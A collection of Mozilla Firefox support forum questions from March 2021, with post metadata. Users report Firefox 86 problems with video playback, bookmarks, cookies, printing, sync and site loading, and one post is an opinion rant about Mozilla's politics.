<p>Hi, i got a problem with Firefox 86.0 after last update. Firefox freezes when I switch video, skip ads or go to main page when any video plays on Youtube. But there's interesting thing: if i pause video first and then switch to another, all right. But if i don't pause, firefox freezes with 100% CPU load. I have never seen that problem before. </p><p>I tried these steps, but it wasn't helpful: </p><p>1. Disable recommended perfomance settings and hardware acceleration. 2. Clear cookie, cache and startup cache. 3. Safe mode with disabled plugins. 4. Refresh Firefox. 5. Full uninstall Firefox and install again. </p><p>I don't know what else i can try to solve this problem... Please, help! </p>


created: 2021-03-06T07:01:55-08:00
updated: 2021-03-06T08:39:09-08:00
title: Display of pages
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396689;
creator: peter.gerster
content:
<p>Several Hompages are not displayed correctly Instaed of showing normal text in the navigation-area is the botton overwritten with text in english. Thank you for support </p>


created: 2021-03-06T05:56:45-08:00
updated: 2021-03-11T13:38:40-08:00
title: editDialog is broken
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1397995;1398084;
creator: Douglas.Z.Johnson.von.Aether
content:
<p>I can't get Firefox to show the bookmark editor. I thought i may have accidentally manually disabled it for new bookmarks, but when i tried to access it on an existing bookmark, it wouldn't come up. The star button still has an "Edit this bookmark (Ctrl+D)" tooltip, but does nothing when clicked. Ctrl+D does nothing further on an existing bookmark. I went into about:config, and the browser.bookmarks.editDialog.showForNewBookmarks option was set to true. I went ahead and toggled it off and on again to see if it would refresh or something, to no effect. Ultimately, i guess that's beside the point, as i can't even bring it up for existing bookmarks.Any suggestions, beside going in and manually shuffling each new bookmark into a folder from the library? </p>


created: 2021-03-06T04:41:23-08:00
updated: 2021-03-06T04:41:23-08:00
title: file attachment default dir pick location
tags: desktop;tips;windows-10;firefox-860;
product: firefox
topic: tips
locale: en-US
creator: adam-evanovich
content:
<p>per the title you guys, is this possible?  why does FF pick what it wants when you try to attach a file within ANY site's web app?  email, sites, anything?  what program is responsible for this?  win?  ff?  I would like to change it at my will.  not sure how.  here's all I ran across, and none gave an answer: </p><p><a href="http://kb.mozillazine.org/File_types_and_download_actions" rel="nofollow">http://kb.mozillazine.org/File_types_and_download_actions</a> </p><p><a href="https://support.mozilla.org/en-US/questions/1004714#answer-586804" rel="nofollow">https://support.mozilla.org/en-US/questions/1004714#answer-586804</a> </p><p><a href="https://support.mozilla.org/en-US/questions/1160739" rel="nofollow">https://support.mozilla.org/en-US/questions/1160739</a> </p><p>any help?  thanks. </p><p>Adam </p>


created: 2021-03-06T04:12:51-08:00
updated: 2021-03-12T05:18:08-08:00
title: is it possible to deny cookies in general and only allow a few specific websites to store cookies?
tags: mac-os;desktop;privacy-and-security_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396669;1396670;1398218;
creator: Tom4465
content:
<p>Hello mozilla-community, </p><p>is it possible to deny cookies in general and only allow a few specific websites to store cookies? Could you tell me how to do this if it is possible? </p><p>specs: Firefox Version 86.0 </p><p>Thank you for your help. </p><p>regards, Tom </p>


created: 2021-03-06T03:29:14-08:00
updated: 2021-03-06T09:47:34-08:00
title: Firefox Screenshots not scaling correctly when doing partial screen captures
tags: desktop;customize;windows-81;
product: firefox
topic: customize
locale: en-US
answers: 1396697;1396705;
creator: emuuprising
content:
<p>Hello, I have searched for an answer to this and didn't find one so I am posting. If this has been answered, kindly post the link to the solution :) </p><p>The problem is with Firefox screenshots. Full page shots are working fine, but "Save Visible" and custom selections using the outlining tool are scaling at 71% instead of 100%. So, I'm only getting some of what I want. </p><p>How do I fix this? I didn't see anything in config about this.  </p><p>Pic is an example of what I'm talking about. </p>


created: 2021-03-06T03:14:38-08:00
updated: 2021-03-12T20:12:11-08:00
title: Instalar modulo criptografico dni electronico en mac
tags: mac-os;desktop;privacy-and-security_1;needsinfo;firefox-860;
product: firefox
topic: privacy-and-security
locale: es
answers: 1396821;1396872;1397023;1397157;1398388;
creator: jymeno
content:
<p>He descargado el software para dni electrónico en mac (Big Sur 11.2.2)y he seguido las instrucciones pero no consigo cargar el módulo en firefox, me dice que no puede cargar le módulo, le he indicado la ruta de forma manual y aún así no la cargarlo. He desinstalado firefox y reinstalado, así como el módulo del dni electrónico, repetido los pasos y no he sido capaz (mensaje de error "No es posible añadir el módulo"). Agradecería cualquier tipo de ayuda o sugerencia. En la ayuda de firefox no he encontrado una respuesta. Un saludo. </p><p>Ans-helm. </p>


created: 2021-03-06T03:13:43-08:00
updated: 2021-03-06T09:01:01-08:00
title: Slow websites
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396696;
creator: helen.gray888
content:
<p>Whenever I visit Tesco website for online shopping the pages get progressively slower to the point where I get a message in a yellow banner which reads words to the effect of: 'A web page is slowing down your computer. What do you want to do?' It then gives the option of clicking on a tab to either 'stop this' or something else which I no longer recall. This message doesn't stay there long and on the times where I have managed to click on the tab 'stop this' it has no effect whatsoever. I looked up this problem by typing something about it into a google search space and came across information which says that it is an apparently known problem with Firefox. I cannot account for the testament of this answer though. I don't know who wrote it. Is this true? Is there anything I, or you, can do about this problem regardless of whether or not this is true? When this happens my computer sounds like it is about to launch itself into space and there is a distinct and lengthy lag between entering information and the website responding. It can take over a minute to move from one action to the next. eg. scrolling the page up to view the next items on the page. I really would be forever grateful if you could identify the problem and come up with a solution for this. Thank you for giving this your attention. Helen Gray. </p>


created: 2021-03-06T02:28:18-08:00
updated: 2021-03-06T04:36:45-08:00
title: Netflix und Amazon Prime laufen nicht in Firefox am Mac
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396665;
creator: fkampmann
content:
<p>Seit den letzten Updates laufen Netflix und Amazon Prime nicht mehr auf meinem Mac in Firefox. In Safari und Chrome hingegen läuft alles ausgezeichnet und ohne Fehlermeldung. Unsere Tochter benutzt das gleiche MacBook Pro von 2015 und hat die gleichen Probleme mit Firefox aktuell. </p>


created: 2021-03-06T02:11:57-08:00
updated: 2021-03-06T02:51:35-08:00
title: PR_END_OF_FILE_ERROR
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396656;
creator: greg1865
content:
<p>I KEEP GETTING THIS- Secure Connection Failed </p><p>An error occurred during a connection to [REDACTED].com. PR_END_OF_FILE_ERROR </p><pre>   The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.    Please contact the website owners to inform them of this problem. </pre> <p>Is there anyway to Override this? It is EXTREMELY ANNOYING!  The website was perfectly accessible up until a few days ago. </p>


created: 2021-03-06T01:36:14-08:00
updated: 2021-03-06T14:34:04-08:00
title: Recover Firefox Notes
tags: mac-os;desktop;other;firefox-notes;firefox-850;
product: firefox
topic: other
locale: en-US
answers: 1396759;
creator: iNerd
content:
<p>I did not know until now that the Firefox Notes service was being discontinued. Now, the app disappeared from my phone and there is no option to get the synced notes as the <a href="/en-US/kb/notes-status" rel="nofollow">Firefox Notes status</a> article mentions. I have some important information on there. Is there a way to recover it? </p>


created: 2021-03-06T01:10:37-08:00
updated: 2021-03-06T01:10:37-08:00
title: Popup
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: aweng_06
content:
<p>I have problem with the Firefox new update.  I have a program running. Once my program open the popup and active process was running when its finish the process,  the popup goes under in the mother page. But in previous update those where running fine, the popup always on top of the mother page while is still in process and the transaction was posted its still on the top of mother page. </p>


created: 2021-03-05T22:38:24-08:00
updated: 2021-03-06T02:53:42-08:00
title: plese solve this problem
tags: windows-7;desktop;sync;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1396657;
creator: stsetu975
content:
<p><a class="new" href="/en-US/kb/new?title=Knowledge+Base+Article" rel="nofollow" title="Page does not exist.">www.shed.gov.bd</a> </p>


created: 2021-03-05T20:42:49-08:00
updated: 2021-03-05T20:42:49-08:00
title: Bookmarks Being Stored In Wrong Folder
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: j27tango
content:
<p>I figured my original problem with the bookmarks. No replies are necessary. </p><p>My new problem is how do I totally delete this question? </p>


created: 2021-03-05T19:21:15-08:00
updated: 2021-03-11T04:41:42-08:00
title: Unable to play any Videos in Mozilla Firefox 86.0 on Ubuntu 20.04 LTS
tags: desktop;video;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396644;1396650;1396673;1396862;1396919;1397946;1397984;
creator: dhavalveera
content:
<p>Hello, </p><p>I am using Mozilla Firefox 86.0 on Ubuntu 20.04 LTS Desktop, I am unable to play any kind of Video embedded on my Websites, I've also tried disabling the Hardware Acceleration in Firefox Setting, but still, the issue remains the same. </p><p>in my Ubuntu 20.04 LTS -&gt; <em><strong>ffmpeg</strong></em> is installed, <em><strong>libavcodec-extra</strong></em> is also installed, but I am unable to understand why Mozilla Firefox is not playing the Videos in the Browser? </p><p>please help me in this case, I am frustrated with this for 2 months or more. </p><p>Kind Regards, Dhaval </p>


created: 2021-03-05T17:39:09-08:00
updated: 2021-03-05T17:39:09-08:00
title: Netflix
tags: desktop;other;windows-10;firefox-850;
product: firefox
topic: other
locale: en-US
creator: Madra
content:
<p>I can't play video on Netflix. </p><p>I get the message "Firefox is installing components needed to play the audio or video on this page. Please try again later." </p><p>I have searched previous threads and tried the suggested fixes but nothing works. I can play Netflix perfectly fine in other browsers I tested. </p>


created: 2021-03-05T17:21:36-08:00
updated: 2021-03-12T20:47:15-08:00
title: Ubuntu Firefox update 85.0 lost my printer
tags: linux;desktop;other;firefox-850;
product: firefox
topic: other
locale: en-US
answers: 1396921;1397185;1398396;1398398;
creator: mrbjnu
content:
<p>After firefox updated to 85.0 and added a new printer interface it will not print.  everything else still prints fine and even when going back to the system dialog box it still will not print.  It acts like it is going to print but nothing prints.  I can save it to PDF and print okay but not to my printer directly. </p>


created: 2021-03-05T17:14:15-08:00
updated: 2021-03-06T02:55:48-08:00
title: file downloads
tags: desktop;other;windows-10;firefox-840;
product: firefox
topic: other
locale: en-US
answers: 1396658;
creator: cebuck99
content:
<p>When I try to download a file I get the message in the download progress "canceled" - Company <a href="http://name.com" rel="nofollow">name.com</a> - time This happens with .pdf files and .exe files. I'm not sure about other files as I haven't tried them yet. Why won't these files download? Windows 10, 64 bit system. </p>


created: 2021-03-05T16:56:01-08:00
updated: 2021-03-07T04:59:57-08:00
title: Forms not filling in on most sites with my address info, WIndows 10, Firefox 86 64 bit
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396922;
creator: pcumming
content:
<p>Forms not filling in on most sites with my address info, WIndows 10, Firefox 86 64 bit </p><p>There are addresses set up in options and Forms and Autofill. There is a checkmark next to Forms and Autofill. </p><p>Just not filling in forms, not sure why. </p><p>Thoughts? </p><p>Only add-in is Ublock Origin  </p><p>Thank you Peter </p>


created: 2021-03-05T16:40:10-08:00
updated: 2021-03-05T16:40:10-08:00
title: Big Sur/M1 Mac mini - browser becomes unresponsive, display incorrectly scaled
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: glenn_hughes
content:
<p>I'm using Firefox 86.0 on an Apple Silicon Mac mini (16 GB/2TB) with macOS 11.2. Several times a day when I return to the browser, it will have become completely unresponsive to clicks and or typing. In this state, I can't click on web pages, or controls in the tab bar. However, the app is not beach-balling. I can quit by right clicking on the dock icon and choosing quit from the menu (I don't have to force quit). Relaunching fixes things. Also, if I have, for example, clicked on the "new tab" button in the tab bar, once I've quit and launched again, the new tab will be in the window, indicating that the command was processed, but the result was not visible. Sometimes, but not always, when in this state the page display looks like it has been scaled to about 50%. (As if I'd hit "Zoom out" five times). One clue that may relate to this is, I'm running in scaled mode on the monitor (The monitor is capable of 3840x2160, but I'm scaling things in the Display control panel to 2560x1440.) Apps are running in Retina mode.  I have tried running Firefox in Safe mode, but that didn't help. I have a lot of tabs that I don't want to lose, so running in a fresh user profile is kind of difficult, unless there's a simple way to transfer open tabs between profiles. </p>


created: 2021-03-07T15:40:42-08:00
updated: 2021-03-07T16:59:16-08:00
title: Cost of Firefox
tags: windows-7;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397108;
creator: rndunn2004
content:
<p><i>Locking this thread.</i><br><i>Please continue here: [<a href="/questions/1328475" rel="nofollow">/questions/1328475</a>]</i><br> How much is Firefox OR is it totally free? </p>


created: 2021-03-07T15:35:58-08:00
updated: 2021-03-07T15:44:24-08:00
title: Autocomplete URL has stopped working
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397096;
creator: scribbler1
content:
<p>Firefox 86.0 (64-bit) on macOS </p><p>When I start to type the URL for an address I use often, for example bar for <a href="http://barnesandnoble.com" rel="nofollow">barnesandnoble.com</a>, I always get <a href="http://barefootyoga.com" rel="nofollow">barefootyoga.com</a> as a suggestion. I've never visited this website. It's not in my history. I have no idea what it's popping up when typing bar used to autofill barnesandnoble. </p><p>When barefootyoga pops up in the URL as a suggestion, I click SHIFT + DELETE, but barefootyoga appears the next time I type bar. (This is happening for almost all other websites where autocomplete used to work correctly--this is just one example.) </p><p>I've cleared all history for all time and restarted browser. Same result. After relaunch, I fully typed <a href="http://barnesandnoble.com" rel="nofollow">barnesandnoble.com</a> and visited the website to get it back in history. I opened a new tab, typed bar, and barefootyoga began to autocomplete </p><p>In Preferences, I get the same unwanted result with these settings: Search &gt; Search Suggestions &gt; Disable/renable "Provide search suggestions"   Privacy &amp; Security &gt; Address Bar &gt; All check boxes selected <em>except</em> for search engine In about:config, I scanned options for browser.urlbar, but nothing looks like it would resolve this issue </p><p>I feel as if I am missing something obvious. </p>


created: 2021-03-07T14:54:22-08:00
updated: 2021-03-10T09:06:52-08:00
title: Firefox can't load some websites but other browsers can in Windows 10 (version 20H2)
tags: desktop;websites;escalate;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397110;1397196;1397347;1397428;1397465;1397656;1397672;
creator: peterek355
content:
<p>Dear Community, </p><p>I have problem with my Firefox version 86.0 (64-bit). I have Windows 10 20H2 64-bit operating system. Firefox can't load some websites.  For example I can load <a href="https://allegro.pl/" rel="nofollow">https://allegro.pl/</a> but I have problem sometimes with this website: <a href="https://allegro.pl/myaccount/newpayments_incoming.php" rel="nofollow">https://allegro.pl/myaccount/newpayments_incoming.php</a> </p><p>If you go there and use F5 key on keyboard (refresh website) sometimes this can't load. On other browser I don't have this issue. This very frustrated me because I can't work. On Windows 10 1909 on older machine (another computer) I don't have this issue with my firefox (this sam 86.0 version). So this is probably problem only with Windows 10 20H2. </p><p><br> Steps to reproduce: </p><p>1) Open new tab and go here: <a href="https://allegro.pl/myaccount/newpayments_incoming.php" rel="nofollow">https://allegro.pl/myaccount/newpayments_incoming.php</a> 2) Log in to your account for Allegro website (without account you can't load website) 3) When website loads normally you must refresh this website (F5 key on keyboard) few times (you must be patient, sometimes this can take some time) 4)  When website can't load or it's load partly you can see that this stops loading when it try connect to <a href="http://analytics.google.com" rel="nofollow">analytics.google.com</a> so I think that it is very strange behavior. </p><p>On other browsers on Windows 10 20H2 version this website works without issue. Only with Firefox I have a problem. On Windows 10 1909 version on another machine I can't notice this issue. Also on Ubuntu I don't have any problems with this website with firefox. </p><p>Can you fix it? I can't work on my computer with Windows 10 20H2 system. I musted to switch to another browsers (Google Chrome, Microsoft Edge). I contacted with owner of the website but this is not the first problem with Firefox on Windows 10 20H2 so you should fix it. I remember that I had some similar problems on another websites but I don't remember what was address for these websites. </p><p>Actual results: </p><p>Sometimes I can't load this website on Windows 10 20H2 64-bit: <a href="https://allegro.pl/myaccount/newpayments_incoming.php" rel="nofollow">https://allegro.pl/myaccount/newpayments_incoming.php</a> </p><p>When website can't load or it's load in a part you can see in the bottom of the browser that this stops when it try connect to <a href="http://analytics.google.com" rel="nofollow">analytics.google.com</a> so it is very strange behavior. </p><p>This can be not problem only with this website. </p><p>Expected results: </p><p>I should load this website always: <a href="https://allegro.pl/myaccount/newpayments_incoming.php" rel="nofollow">https://allegro.pl/myaccount/newpayments_incoming.php</a> </p><p><br> </p><p>I hope that you can fix it. </p>


created: 2021-03-07T14:41:31-08:00
updated: 2021-03-07T14:52:54-08:00
title: Restore Add on Bar Bottom
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397069;
creator: klash2
content:
<p>Is there a way to modify Firefox 86 to display the add-on bar at the bottom of browser like in the old days? I like having my weather down there. </p><p>Thanks </p>


created: 2021-03-07T14:10:53-08:00
updated: 2021-03-07T15:23:53-08:00
title: Why does a system memory change impact hardware acceleration?
tags: windows-7;desktop;other;firefox-740;
product: firefox
topic: other
locale: en-US
answers: 1397059;
creator: r0tekatze
content:
<p>Two days ago, I updated my system memory from 8GB to 16GB. As soon as I did so, on both Fedora 31 and Windows 7, Firefox became extremely unstable - as though it was running out of resources extremely quickly. On Fedora, I cannot browse at all - immediately upon loading a page, the tab crashes, including internal pages. On Windows, I can get away with some browsing - although crashes are still common. </p><p>For now, I'm going to disable hardware acceleration. However, I'd like to further analyse this and see if I can't find a fix. </p><p>To date, I have tried the following: </p><p>- Updated to firefox v86 (This worsened the problem, and I downgraded to v74) </p><p>- Removed and reinstalled my GPU drivers (no change) </p><p>- Disabled paging on my Windows system, and moved hiberfil.sys to a drive with more space using symlinks (no change) </p><p>- Increased swap space on my Fedora system (made things worse. Don't fuck around with swap if you don't know what you're doing, please) </p><p>- Moved profiles out of the appdata dir and created a new, blank profile (no change) </p><p>- Completed a full round of Memtest+x86 with no issues </p><p>Below are a set of six crash logs. There are more, but information overload. They are fairly similar, but I lack the familiarity with the Mozilla codebase to properly examine them. </p><p><a href="https://crash-stats.mozilla.org/report/index/a8759e4c-f1ea-44f8-b1da-d8d5b0210307" rel="nofollow">https://crash-stats.mozilla.org/report/index/a8759e4c-f1ea-44f8-b1da-d8d5b0210307</a> </p><p><a href="https://crash-stats.mozilla.org/report/index/7964cc87-16ef-4ed1-97f5-b50450210307" rel="nofollow">https://crash-stats.mozilla.org/report/index/7964cc87-16ef-4ed1-97f5-b50450210307</a> </p><p><a href="https://crash-stats.mozilla.org/report/index/484b209f-6922-4e11-b31a-8d9150210307" rel="nofollow">https://crash-stats.mozilla.org/report/index/484b209f-6922-4e11-b31a-8d9150210307</a> </p><p><a href="https://crash-stats.mozilla.org/report/index/f5291400-8308-4f60-998a-f2c690210307" rel="nofollow">https://crash-stats.mozilla.org/report/index/f5291400-8308-4f60-998a-f2c690210307</a> </p><p><a href="https://crash-stats.mozilla.org/report/index/0592a4cd-5e4c-4eae-bb26-e670e0210307" rel="nofollow">https://crash-stats.mozilla.org/report/index/0592a4cd-5e4c-4eae-bb26-e670e0210307</a> </p><p><a href="https://crash-stats.mozilla.org/report/index/99127f49-d59f-4810-b039-c1b5d0210307" rel="nofollow">https://crash-stats.mozilla.org/report/index/99127f49-d59f-4810-b039-c1b5d0210307</a> </p>


created: 2021-03-07T13:57:08-08:00
updated: 2021-03-07T18:45:08-08:00
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397121;
creator: jmirrow
title:
the email website of my ISP allows signoff via a javascript file that opens a window with a yes and no button. The window does not open in FireFox. it opens in Edge.

content:
<p>OK. I use Buckeye Express as ISP. I have a Buckeye email address. There is a Buckeye URL address that allows me to see my email online. To sign out of my web buckeye account i go to a menu that has a Sign Out link. The address of the link is javascript:funSignout().  I can search the code on the webpage and find the link.  </p><p>However when I click the link in the email program, the Sign out Window does not open in FireFox.  </p><p>The sign out window has two buttons and a message: Do You Really Want to Sign Out? YES or NO. you have to click YES to sign out of my email address. I can get out of my email address by closing the FireFox Browser. Then I can go to the URL address and sign in to my email address again. If I do not close FireFox When I go back to Buckeye Mail, I am already signed in.  </p><p>So the javascript window does not open in FireFox 86.0. If I use EDGE or CHROME, the window opens. I can click YES and sign out.  I have enabled popup windows but the popup is generated by javascript on the website. But the window doesn't open. This is a relatively new problem. Firefox 86 (64 bit). Help </p>


created: 2021-03-07T13:47:10-08:00
updated: 2021-03-08T16:16:29-08:00
title: Theming
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397048;1397089;1397106;1397266;1397279;1397288;1397291;1397301;1397310;1397348;
creator: splonket
content:
<p>To outline my setup, I am using Windows 7 Ultimate with Service pack 1. I tried applying a third-party theme to Windows 7 Ultimate, but it didn't work right. So, I reset Windows theme. Then, I tried applying a theme to Firefox itself and it works except for the "x", "minimize", and "maximize" buttons. What is going wrong? It may be a minor problem, but <strong>I like things to work right.</strong> </p>


created: 2021-03-07T12:35:38-08:00
updated: 2021-03-07T17:50:24-08:00
title: Hoping many more people comment
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397038;1397119;
creator: keystoyes
content:
<p>I just open the email and read an article. It is absolutely disgusting. </p><p>So I'm posting this here in the hopes that others will join in.  </p><p>My opinion is simple. Firefox… be a browser. Improve the browser, advance the browser, focus on new and improved features. And please stop the SJW nonsense. </p><p>Remember that "woke is broke". You're not doing so great financially. And yet you keep trying to run around playing social justice warrior. Please do better. Just stop. </p><p>One time, along time ago, I started spouting off about what I thought about social issues and politics etc. I basically got slapped upside the head and people said "we really don't care what you think. All we care about is what we're here to hear from you about. Nothing more. So stop putting out all these messages." It was a hard lesson for me to learn, but I got it.  </p><p>I don't care what Mozilla or Firefox thinks about anything political or SJW nonsense. I don't care. I don't want to hear it. I sure don't want to believe that the browser of my choice is involved in all kinds of things that I don't believe in and don't want anything to do with. And worse, that you keep flapping on about it.  </p><p>What I really want to know, what I really really want to know is... "What have you done for me lately." To quote Janet Jackson. What are you doing that will make my life better with this app? How will this app serve me more effectively? Not what social justice nonsense are you going to push today? I don't care what you believe not one little bit. I care how well my browser works. That's it. Nothing more. </p><p>Please stick to business. And don't try to invent that your business is social justice nonsense. It's not. That doesn't pay your bills. That just ostracizes people, alienates people and makes them wish they were to filiated with you. </p><p>Think smarter. Do better. Focus on the app. Keep your priorities straight. You are not an employment center for SJW's. You are supposed to be producing a product. </p><p>I hope someone with intelligence reads this. </p>


created: 2021-03-07T12:03:59-08:00
updated: 2021-03-07T12:30:21-08:00
title: Ad Blacker Plus and Ad Blocker Ultimate but neither work!
tags: mac-os;desktop;download-and-install_1;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397031;
creator: Zombateen
content:
<p>I have tried repeatedly to add an Ad Blocker to Firefox (as I have in the past) but they do not work. I have looked for them after downloading but cannot find them on Firefox. Can anyone help me with this? Ad Blacker worked fine on my old iMac but not on the new one. I am not getting ads on my home page but I am getting two blocks of "code" where the ads would normally appear. </p><p>Thank you. </p>


created: 2021-03-07T11:47:37-08:00
updated: 2021-03-07T11:47:37-08:00
title: Digital certificate - ask you every time
tags: desktop;privacy-and-security_1;windows-10;firefox-840;
product: firefox
topic: privacy-and-security
locale: en-US
creator: julie_jakings
content:
<p>"When a server requests your personal certificate" my preference is set to "Ask you every time" but Firefox is remembering the certificate I used last time for a site and does not allow me to select a different certificate.  How can I change this please?  My Firefox browser version is 84.0.2 (64 bit).  Thanks </p>


created: 2021-03-07T11:24:30-08:00
updated: 2021-03-08T16:02:01-08:00
title: PRINT PRERVIEW
tags: desktop;other;windows-81;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397063;1397187;1397343;
creator: samjcard
content:
<p>What happened to PRINT PREVIEW I need that to print web pages for my job PLEASE PUT IT BACK!!! Thanks Sam </p>


created: 2021-03-07T10:44:11-08:00
updated: 2021-03-07T10:44:11-08:00
tags: linux;desktop;other;firefox-860;
product: firefox
topic: other
locale: pt-BR
creator: rommulo9
title:
Links/vínculos URL são perdidos nas páginas quando impressas/salvas no formato PDF (navegador Firefox 86.0)

content:
<p>Olá a todos. Quando salvo páginas da web, opto pelo formato PDF. Mas vejo que o Firefox (86.0 e as últimas versões anteriores) não preserva os links nas páginas impressas/salvas em PDF (todos os links são transformados em textos sem nenhum vínculo URL). Esse problema não ocorre, por exemplo, no Google Chrome. No Firefox, existe alguma opção ou ajuste para preservar os links, tornando-os ativos nas páginas salvas/impressas como PDF? Grato. </p><p>URL links are lost on pages when printed/saved in PDF format (Firefox 86.0 browser)  Hi guys. When I save web pages, I choose the PDF format. But I see Firefox (86.0 and the latest earlier versions) does not preserve the URL links on PDF printed pages (all links are transformed into plain texts without any URL link). This problem does not occur, for example, on Google Chrome. In Firefox, is there any option or adjustment to preserve the URL links, making them active in the saved/printed pages as a PDF format? Grateful. </p>


created: 2021-03-07T10:42:48-08:00
updated: 2021-03-07T10:42:48-08:00
title: Certain download redirects not loading in latest version of nightly.
tags: desktop;websites;windows-10;
product: firefox
topic: websites
locale: en-US
creator: leoshafai
content:
<p>Just yesterday some common redirect sites like adfocus and adfly stopped loading in nightly. example: <a href="http://adfoc.us/serve/?id=27122877684764" rel="nofollow">http://adfoc.us/serve/?id=27122877684764</a> </p><p>I'm guessing this was done fore security reasons as most people would fall for the fake downloads (or  sometimes the entire page redirecting to a new tab when clicked anywhere on it), but it would be great if an option could be added to allow it to load like with: [hey cor-el ask for the link since I don't want this post to get removed :P] </p><p>since if you know what you are doing you do eventually work your way to the correct download even if it involves inspecting &gt; deleting the invisible buttons covering the page... </p><p>There might already be something in about:config to do it so if so please let me know. </p>


created: 2021-03-07T10:35:50-08:00
updated: 2021-03-12T20:09:27-08:00
title: Cookies y datos de sitios
tags: desktop;fix-problems;needsinfo;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: es
answers: 1398386;
creator: sdcn200
content:
<p>Hola, </p><p>Desde la ventana <strong>privacidad y seguridad</strong> donde son gestionadas las cookies, datos del sitio y caché almacenados. La <strong>cantidad de datos indicados</strong> no aparece reflejado, sin tener la casilla marcada para eliminarlos automaticamente despues de salir del navegador. </p><p>No se me ocurre ningun solucion aparte de eliminarlos <strong>reiniciando el sistema operativo</strong>, sin conocer si es efectivo. Al volver a iniciar el <strong>navegador</strong>, siguen sin aparecer indicados la cantidad de datos de los sitios y cache almacenados. </p>


created: 2021-03-07T10:32:30-08:00
updated: 2021-03-07T10:32:30-08:00
title: Logitech web camera
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: dbem
content:
<p>I bought a Logitech web camera to use with my laptop, It works with some websites and does not with others. In the cases where it doesn't work the laptop camera works. Why is this and what can I do to fix it so the Logitech camera works all of the time? Thank you in advance. </p>


created: 2021-03-07T10:16:05-08:00
updated: 2021-03-07T10:16:05-08:00
title: Video colors are shifted
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: MartyJames
content:
<p>For some time now (at least a year), I've noticed that the colors in videos are slightly off. The problem never affects still images, just videos (on every site). </p><p>Most users wouldn't notice the problem as it's quite subtle, but all the hues are all slightly off: Reds are slightly more yellow than they should be, yellows are slightly redder, blues are slightly more cyan, and cyans are slightly bluer. </p><p>I don't use other browsers so not sure if this is a Firefox problem or a wider problem. </p><p>I don't have Flash installed so (presumably) the videos run in HTML5. </p>


created: 2021-03-07T10:14:45-08:00
updated: 2021-03-07T10:14:45-08:00
title: server to authorize to use synchronization
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
creator: abva03
content:
<p>Hello, </p><p>I want to use <strong>browser synchronization.</strong> Our network is very limited. <strong>What are the domains and/or IP addresses that we need to allow?</strong> Thank you very much for your help! </p>


created: 2021-03-07T10:14:28-08:00
updated: 2021-03-07T14:54:07-08:00
title: Extra words on web pages
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397070;
creator: rosawood
content:
<p>Often when I open a web page, I have extra words showing, programming words from scripts perhaps, that should not be visible.  Often these cover things I do want to see.  I've slogged through several upgrades of Firefox but it never seems to get fixed.   </p><p>This happens only on Firefox; it doesn't appear on Chrome or other browsers I've used, and it isn't isolated to one or two websites, though it doesn't happen on every website.  Images attached to illustrate. </p>


created: 2021-03-07T10:04:30-08:00
updated: 2021-03-07T12:19:33-08:00
title: Other bookmarks folder doesn't show in toolbar
tags: desktop;beta;customize;windows-10;firefox-870;
product: firefox
topic: customize
locale: en-US
answers: 1397025;
creator: browserlightedup
content:
<p>Hello, </p><p>this knowledge base article (<a href="/en-US/kb/remove-other-bookmarks-folder-from-bookmarks-toolbar" rel="nofollow">Remove the Other Bookmarks folder from the Bookmarks Toolbar</a>) claims that you can display the Other Bookmarks folder on the toolbar since Firefox 85 but it seems to be a lie. </p><p>In the screenshots down below, you can see my current settings. The Other Bookmarks folder is missing although my settings are correct. </p><p>How can I display the Other Bookmarks folder on the toolbar in Firefox? Thanks for your help! </p>


created: 2021-03-07T09:38:26-08:00
updated: 2021-03-07T09:38:26-08:00
title: Groups of bookmarks are gone
tags: mac-os;desktop;bookmarks;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: Taz-D
content:
<p>Mac 10.15.7.   FIREFOX 86.    Groups of bookmarks are gone. This happens regularly.  Bookmarks I rebuild yesterday, that group is gone today. </p><pre>The bookmarks are "there" but not in their group.  Takes hours to re-sort. </pre> <p>It takes a LONG time to rebuild from HTML backup.  The jsn backup is ok, but it wipes everything I have done today out.   I backup almost every day. </p><p>I have thousands of bookmarks = hours of work.  Then I have to spend many hours rebuilding. 1/ What is happening? 2/ How to stop it? </p>


created: 2021-03-07T09:32:20-08:00
updated: 2021-03-07T09:32:20-08:00
title: Keep losing all Firefox info on new MacBook
tags: mac-os;desktop;bookmarks;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: praccio
content:
